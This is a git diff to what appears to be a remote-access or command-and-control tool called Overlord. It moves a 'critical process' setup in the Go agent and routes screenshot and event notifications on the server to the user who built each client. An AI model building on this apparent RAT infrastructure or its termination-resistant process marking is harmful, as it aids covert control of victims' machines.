diff --git a/Overlord-Client/cmd/agent/main.go b/Overlord-Client/cmd/agent/main.go index 8eb2165..dba3675 100644 --- a/Overlord-Client/cmd/agent/main.go +++ b/Overlord-Client/cmd/agent/main.go @@ -35,10 +35,6 @@ func main() { } } - if cfg.CriticalProcess { - criticalproc.Setup() - } - releaseMutex, ok, err := mutex.Acquire(cfg.Mutex) if err != nil { log.Printf("[mutex] failed to initialize mutex: %v", err) @@ -53,6 +49,11 @@ func main() { defer releaseMutex() mutex.SetGlobalRelease(releaseMutex) + if cfg.CriticalProcess { + criticalproc.Setup() + defer criticalproc.Teardown() + } + for { func() { defer recoverAndLog("main", nil) diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index fb576a2..6f1b550 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -13,7 +13,7 @@ import { v4 as uuidv4 } from "uuid"; import { authenticateRequest } from "./auth"; import { loadConfig, getConfig } from "./config"; import { flushAuditLogsSync } from "./auditLog"; -import { getUserById, getUsersForNotificationDelivery, getUsersForNotificationDeliveryByClient, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope, hasPermission } from "./users"; +import { getUserById, getUsersForNotificationDelivery, getUsersForNotificationDeliveryByClient, getUsersForNotificationDeliveryByClientOwnership, isClientOwnedByUser, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope, hasPermission } from "./users"; import { requireAuth, requirePermission } from "./rbac"; import { metrics } from "./metrics"; import { ensureDataDir } from "./paths"; @@ -326,7 +326,7 @@ const toDeliveryTarget = (u: any): UserDeliveryTarget => ({ const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord) => { const getUserDeliveryTargets = (clientId: string): UserDeliveryTarget[] => - getUsersForNotificationDeliveryByClient(clientId).map(toDeliveryTarget); + getUsersForNotificationDeliveryByClientOwnership(clientId).map(toDeliveryTarget); return deliverNotificationWithScreenshot(record, getUserDeliveryTargets); }; @@ -346,12 +346,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({ forwardPluginEventToRuntime: (clientId, pluginId, event, payload) => pluginRuntime.dispatchClientEvent(clientId, pluginId, event, payload), getDeliveryTargetsForClientEvent: (event: string, clientId: string): UserDeliveryTarget[] => { - if (event === "client_purgatory") { - return getUsersForNotificationDelivery() - .filter((u) => u.role === "admin" || u.role === "operator") - .map(toDeliveryTarget); - } - return getUsersForNotificationDeliveryByClient(clientId).map(toDeliveryTarget); + return getUsersForNotificationDeliveryByClientOwnership(clientId).map(toDeliveryTarget); }, savePluginState, }); diff --git a/Overlord-Server/src/users.ts b/Overlord-Server/src/users.ts index ef68d96..b08c9aa 100644 --- a/Overlord-Server/src/users.ts +++ b/Overlord-Server/src/users.ts @@ -1228,6 +1228,35 @@ export function getUsersForNotificationDeliveryByClient(clientId: string): UserD ); } +function getClientOwnerUserId(clientId: string): number | null { + if (!clientId) return null; + try { + const row = db + .prepare("SELECT built_by_user_id FROM clients WHERE id = ?") + .get(clientId) as { built_by_user_id: number | null } | undefined; + if (!row || row.built_by_user_id == null) return null; + return typeof row.built_by_user_id === "number" ? row.built_by_user_id : null; + } catch { + return null; + } +} + +export function getUsersForNotificationDeliveryByClientOwnership( + clientId: string, +): UserDeliveryRow[] { + const ownerId = getClientOwnerUserId(clientId); + const all = getUsersForNotificationDelivery(); + if (ownerId != null) { + return all.filter((user) => user.id === ownerId); + } + return all.filter((user) => user.role === "admin"); +} + +export function isClientOwnedByUser(userId: number, clientId: string): boolean { + const ownerId = getClientOwnerUserId(clientId); + return ownerId != null && ownerId === userId; +} + export interface RegistrationKey { id: number;